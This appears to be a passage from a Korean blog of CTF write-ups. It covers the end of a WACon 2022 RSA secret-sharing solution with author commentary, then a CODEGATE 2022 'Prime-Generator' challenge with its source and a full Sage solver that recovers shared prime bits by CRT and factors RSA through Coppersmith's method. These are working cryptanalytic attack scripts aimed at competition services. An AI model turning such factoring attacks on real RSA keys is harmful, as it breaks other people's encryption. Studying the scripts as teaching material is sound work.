            POL = PolynomialRing(Zmod(targets[i]), 'x')
            x = POL.gen()
            f = x * q * q + pr1q2
            f = f.monic()
            share3 = f.small_roots(X = q, beta = 0.49, epsilon = 0.05)[0]
            
            p = int(share3) * q * q + pr1q2
            conn.sendline(str(p).encode())
            conn.sendline(str(targets[i] // p).encode())
        
        print(conn.recvline())
 cs

 

Comments

To solve the PoW efficiently, instead of doing the entire bytes_to_long you should just check the last 4 bytes of SHA256.

 

Sending random $a_1, x_1, b_1$ rather than $1, 1, 1$ is a bit better because with $1, 1, 1$, you can't really distinguish $3 \cdot 10 = 5 \cdot 6$ and stuff like that. With random values, it's should be possible to show that such collisions occur with a very low probability, with for example Schwartz-Zippel lemma. Proving this in mathematically precise fashion is left as an exercise for the reader. 

 

Before computing GCD or factorizing polynomials, it's helpful to reduce the degrees by dividing out some obvious parts.

 

By giving $a_2$ to the participants of Junior Division, we allow them to go straight into Coppersmith's Attack without setting up for the determinant or doing polynomial stuff. However, the only solver from Junior Division solved this challenge without Coppersmith's Attack. 

 

We note that to solve the problem, we do not need the first and third RNGs to be an LCG. Also, there's no need to let the participants select their values of $a_1, x_1, b_1$. However, letting the participants choose their $a_1, x_1, b_1$ opens up the possibility for other ideas that end up not working. The intended trap was to select $a_1, x_1, b_1$ so that the first LCG always output the same value. This does not help to solve the challenge to the best of author's knowledge. Letting the third RNG to not be an LCG forces the participant to know Coppersmith's Attack - but I did not really want to test this, since finding the $a_2$ part is already hard enough for WACon 2022 Quals. However, for Junior Division, I decided to award the knowledge of Coppersmith's Attack by giving them $a_2$. I think this was reasonable. 

 

It's also possible to solve LCG3 easier than the two methods described in the solution - this is due to the solvers in the Junior Division.

Since we have $$n = (LCG_{3, u} q^2 + LCG_{2, u} q + LCG_{1, u})(LCG_{3, v} q^2 + LCG_{2, v} q+ LCG_{1, v})$$ we can rewrite this as $$n' = \frac{n-(LCG_{2,u}q+LCG_{1,u})(LCG_{2,v}q+LCG_{1,v})}{q^2}$$ $$= LCG_{3,u}LCG_{3,v} q^2 +(LCG_{3,u}LCG_{2,v}+LCG_{3,v}LCG_{2,u})q + (LCG_{3,u}LCG_{1,v} + LCG_{3,v}LCG_{1,u}) $$ and now since this value can be calculated as we know $LCG_{1,u},LCG_{1,v},LCG_{2,u},LCG_{2,v},q$. 

 

Let $$\alpha = \left\lfloor \frac{LCG_{3,u}LCG_{1,v} + LCG_{3,v}LCG_{1,u}}{q} \right\rfloor$$ This is usually on the order of $q$, but by selecting $a_1 = x_1 = b_1 = 1$ we can force this value to be small, usually less than $10^4$.

 

We now have $$LCG_{3,u}LCG_{1,v} + LCG_{3,v} LCG_{1,u} \equiv n' \pmod{q}$$ and $$LCG_{3,u}LCG_{2,v} + LCG_{3,v}LCG_{2,u} \equiv \lfloor n' / q \rfloor - \alpha \pmod{q}$$ Therefore, if we know $\alpha$, we can solve this using a linear system easily. Since $\alpha$ is in a brute forcable range, we are done. 

 

This is a beautiful solution that I have overlooked, congratulations to the team! It's very cool that this solution uses the exact setup $a_1 = x_1 = b_1 = 1$ that I advised not to do in my second comment above. Of course, this means that they had to deal with a multiple possibilities for the index, i.e. the reason I advised not to use $a_1=x_1=b_1=1$. To see how they did it, consult their writeup in Korean. 

 

I gave participants four $n$ instead of three $n$ to make the knowledge of fast polynomial factorization or SageMath not required.

 

The description "2-out-of-3 secret sharing" comes from Coppersmith's Attack - note that if two share generators collaborate, they can find 2/3 of the primes and therefore can factorize $n$ using Coppersmith's Attack. I thought about making a challenge to check their understanding of why this challenge is about 2-out-of-3 secret sharing, but decided not to do it. Of course, only having one share generator does not allow you to factorize $n$, so this scheme fits the definition of "2-out-of-3 secret sharing". 

 

The flag was 

WACon{we_should_probably_use_a_better_RNG_than_LCG!!!_(and_hopefully_remove_the_trusted_third_party_:wink:)}

which notes that a trusted third party or TEE is required to check the primality of generated values and compute $n$. 

 

One of the solvers from General Division practically never studied cryptography in their life, but they are quite strong players in the Korean competitive programming scene. They actually solved all three cryptography challenges, which is a fascinating feat.

Of course, note that we didn't set challenges that require huge amount of prior knowledge in cryptography. 

저작자표시 비영리

'CTF' 카테고리의 다른 글

0CTF 2022 ezRSA+++  (0) 2022.09.19
0CTF 2022 TCTF NFT Market  (0) 2022.09.19
CODEGATE 2022 Preliminary : Prime-Generator  (0) 2022.02.28
CODEGATE 2022 Preliminary : Dark Arts  (0) 2022.02.28
SECCON CTF 2021 Writeups  (0) 2021.12.14

10 Solves in General Division. Author : Barkingdog

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python3
from Crypto.Util.number import *
import os
 
BITS = 512
UPPER_BITS = 296
LOWER_BITS = BITS - UPPER_BITS
 
UPPER = bytes_to_long(os.urandom(UPPER_BITS // 8)) << LOWER_BITS
FLAG = b'codegate2022{this_is_a_sample_flag}'
 
def menu1():
    while True:
        lower = bytes_to_long(os.urandom(LOWER_BITS // 8))
        p = UPPER | lower
        if isPrime(p): return lower
 
def menu2():
    p = UPPER + menu1()
    q = getPrime(512)
    e = 0x10001
    n = p * q
    return n, pow(bytes_to_long(FLAG + b'\x00' + os.urandom(128 - 2 - len(FLAG))), e, n)
 
while True:
    print("1. Generate 10 random primes (only lower bits)")
    print("2. Encrypt a flag")
    idx = int(input("> "))
    if idx == 1:
        print("How many? (Up to 10)")
        num = int(input("> "))
        for _ in range(min(10, num)):
            print(menu1())
    elif idx == 2:
        n, c = menu2()
        print(f"n : {n}")
        print(f"c : {c}")
 cs

 

Solution

 

This is a RSA challenge. We see that menu1 generates primes that have equal upper 296 bits, i.e. $UPPER$. It then returns the value $lower$, which is the value of the lower 216 bits. If we can somehow find the value of $UPPER$, this leads us to knowing much more than half of the upper bits of $p$, so we will be able to factor $n$ via standard RSA attacks using coppersmith algorithm.

 

Now we focus on finding $UPPER$. Each time we are given $lower$, we know that $UPPER + lower$ is a prime. 

Therefore, for each small primes $p<700$, we actually have a relatively strong information $$UPPER + lower \not\equiv 0 \pmod{p}$$ or $$UPPER \not\equiv -lower \pmod{p}$$ which is good enough to remove one possible candidate of $UPPER \pmod{p}$. 

 

Given sufficient number of $lower$ such that $UPPER + lower$ is a prime, we will be able to remove all but one possible candidate for $UPPER \pmod{p}$ for each prime $p <700$. This essentially means that we can recover $UPPER \pmod{p}$ for each prime $p<700$.

 

Combining these information with Chinese Remainder Theorem along with the bound $UPPER < 2^{512}$ is strong enough to deduce the value of $UPPER$. This solves the problem. The code below is due to the challenge author barkingdog.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/sage
from Crypto.Util.number import *
from pwn import *
from sage.all import *
import math
 
r = remote("localhost", 9001)
 
BITS = 512
UPPER_BITS = 296
LOWER_BITS = BITS - UPPER_BITS
 
primes = [ 3, 5, 7, 11, 13, 17, 19, 23, 29,
31, 37, 41, 43, 47, 53, 59, 61, 67, 71,
73, 79, 83, 89, 97, 101, 103, 107, 109, 113,
127, 131, 137, 139, 149, 151, 157, 163, 167, 173,
179, 181, 191, 193, 197, 199, 211, 223, 227, 229,
233, 239, 241, 251, 257, 263, 269, 271, 277, 281,
283, 293, 307, 311, 313, 317, 331, 337, 347, 349,
353, 359, 367, 373, 379, 383, 389, 397, 401, 409,
419, 421, 431, 433, 439, 443, 449, 457, 461, 463,
467, 479, 487, 491, 499, 503, 509, 521, 523, 541,
547, 557, 563, 569, 571, 577, 587, 593, 599, 601,
607, 613, 617, 619, 631, 641, 643, 647, 653, 659]
 
remainders = [set([x for x in range(p)]) for p in primes]
 
def prod(L):
    val = 1
    for x in L:
        val *= x
    return val
 
def get_lower():
    r.recvuntil(b"> ")
    r.sendline(b"1")
    r.recvuntil(b"> ")
    r.sendline(b"10")
    return [int(r.recvline()) for _ in range(10)]
 
def get_nc():
    r.recvuntil(b"> ")
    r.sendline(b"2")
    r.recvuntil(b"n : ")
    n = int(r.recvline())
    r.recvuntil(b"c : ")
    c = int(r.recvline())
    return n, c
 
def rsa_high_bits_known(n, c, upper):
    F.<x> = PolynomialRing(Zmod(n), implementation='NTL'); 
    pol = x - upper
    beta = 0.48  # we should have q >= N^beta
    XX = 2 ** LOWER_BITS
    epsilon = beta / 7
    rt = pol.small_roots(XX, beta, epsilon)  
    q = int(gcd(rt[0] - upper, n))
    p = int(n) // int(q)
    assert(p*q == n and p > 1 and q > 1)
    phi = (p-1)*(q-1)
    e = 0x10001
    d = int(pow(e, -1, phi))
    plain = int(pow(c, d, n))
    print(long_to_bytes(plain))
 
#### STEP 1. Recover UPPER using crt ####
print("[+] STEP 1. Recover UPPER using crt")
crt_a = [0]
crt_m = [2**LOWER_BITS]
 
cnt = 0
while prod(crt_m) < 2**BITS:
    cnt += 1
    if cnt % 10 == 0:
        print(f"Gather {cnt*10} primes.. progress : {int(100 * (math.log2(prod(crt_m))-LOWER_BITS) / UPPER_BITS)}%")
    lowers = get_lower()
    for lower in lowers:
        for i in range(len(primes)):
            rem = lower % primes[i]
            if rem in remainders[i]:
                remainders[i].remove(rem)
                if len(remainders[i]) == 1:
                    crt_a.append(primes[i] - remainders[i].pop())
                    crt_m.append(primes[i])
 
upper = crt(crt_a, crt_m)
print(f"[+]UPPER = {upper.hex()}")
 
#### STEP 2. Recover FLAG using RSA Factoring with high bits known attack ###
print("[+] STEP 2. Recover FLAG using RSA Factoring with high bits known attack")
n, c = get_nc()
rsa_high_bits_known(n, c, upper)
 cs

 

 

 

저작자표시 비영리

'CTF' 카테고리의 다른 글

0CTF 2022 TCTF NFT Market  (0) 2022.09.19
WACon 2022 Quals: RSA Secret Sharing  (0) 2022.06.27
CODEGATE 2022 Preliminary : Dark Arts  (0) 2022.02.28
SECCON CTF 2021 Writeups  (0) 2021.12.14
N1CTF 2021 Writeups  (1) 2021.11.22

티스토리툴바